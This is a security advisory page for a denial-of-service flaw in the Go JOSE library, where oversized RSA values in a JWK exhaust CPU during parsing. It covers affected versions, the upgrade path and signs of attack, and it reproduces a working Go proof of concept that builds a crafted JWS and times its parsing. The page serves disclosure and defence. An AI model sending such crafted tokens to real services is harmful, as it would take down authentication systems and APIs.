NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Go

CVE-2026-116587: Go JOSE: DoS when parsing JWKs that contain RSA keys

highCVSS 3.1 7.5GHSA-mgcc-cww5-fp2q

Go JOSE (github.com/go-jose/go-jose/v4) up to 4.1.5 does not bound RSA key sizes when it parses a JWK, so a crafted key makes the parser burn CPU. Any service that parses JWKs from untrusted sources can be knocked over. Upgrade v4 to 4.1.6. The v3 line, up to 3.0.5, has no patched version.

Published Oct 27, 2026 · Analysis Nov 1, 2026

What an attacker can do

In jwk.go, go-jose passes the RSA modulus and primes straight to crypto/rsa.PrivateKey.Validate() without checking their size. On Go 1.24 and later, that validation takes cubic time in the size of the modulus and primes. The values can be junk, because the cost is in validating them.

The advisory's proof of concept builds a JWS whose protected header carries a jwk member with a 16,384-bit prime, and calls jose.ParseSigned. The parse time is the damage. No special go-jose configuration is needed, and the signature does not need to be valid. The attacker needs only the ability to send a JWK or a JWS with an embedded jwk to your service, such as a token to an API, or a JWKS document you fetch from a remote server.

The CVSS vector shows network access, no privileges, no user interaction, and only availability affected. A few requests can pin several CPU cores, which stalls an authentication service, an API gateway or an identity provider that depends on go-jose. No data is exposed.

Who is affected

The package data lists github.com/go-jose/go-jose/v4 up to 4.1.5, and github.com/go-jose/go-jose/v3 up to 3.0.5. The advisory says the cubic cost applies on Go 1.24 and later. Many projects pull go-jose indirectly, for example through OIDC and JWT libraries, so check the full dependency tree.

go list -m github.com/go-jose/go-jose/v4 github.com/go-jose/go-jose/v3
go mod why -m github.com/go-jose/go-jose/v4

github.com/go-jose/go-jose/v4

Ecosystem
Go
Affected
<= 4.1.5
Fixed in
4.1.6
Check
go list -m github.com/go-jose/go-jose/v4

github.com/go-jose/go-jose/v3

Ecosystem
Go
Affected
<= 3.0.5
Fixed in
No patched version yet
Check
go list -m github.com/go-jose/go-jose/v3

How to fix it

Upgrade v4 users to github.com/go-jose/go-jose/v4 4.1.6.

go get github.com/go-jose/go-jose/[email protected]

The 4.1.6 release caps accepted RSA moduli in JWK parsing at 4096 bits. This is a breaking change. If you need larger keys, set MaxRSAModulusBits before any JWK parsing. For v3, the package data lists no patched version. The sources we read do not say how v3 users should proceed, so plan a move to v4, and cap the size of JWK input your service accepts in the meantime.

How to tell if you were hit

Look for sudden CPU spikes in services that verify JWTs or fetch JWKS, and for slow or timed-out authentication requests. A CPU profile shows time in crypto/rsa Validate called from go-jose JWK parsing. Review request logs for JWS bodies with unusually large protected headers or jwk members, and for remote JWKS documents with very long n, p or q values. Check go.sum and go.mod across services for the vulnerable go-jose versions.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Questions

Is go-jose v3 patched for CVE-2026-116587?

No patched v3 version is listed. The v3 range through 3.0.5 is vulnerable, and the release notes we read cover only v4.1.6. Move to v4 if you can.

Does the attacker need a valid signature?

No. The proof of concept uses a fake signature and junk RSA values. The cost comes from parsing the JWK, before any signature check.

Will 4.1.6 break my code?

Possibly. It caps RSA moduli at 4096 bits during JWK parsing. The release notes call it a breaking change and say to set MaxRSAModulusBits before parsing if you need a larger limit.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Go vulnerabilities

All Go entries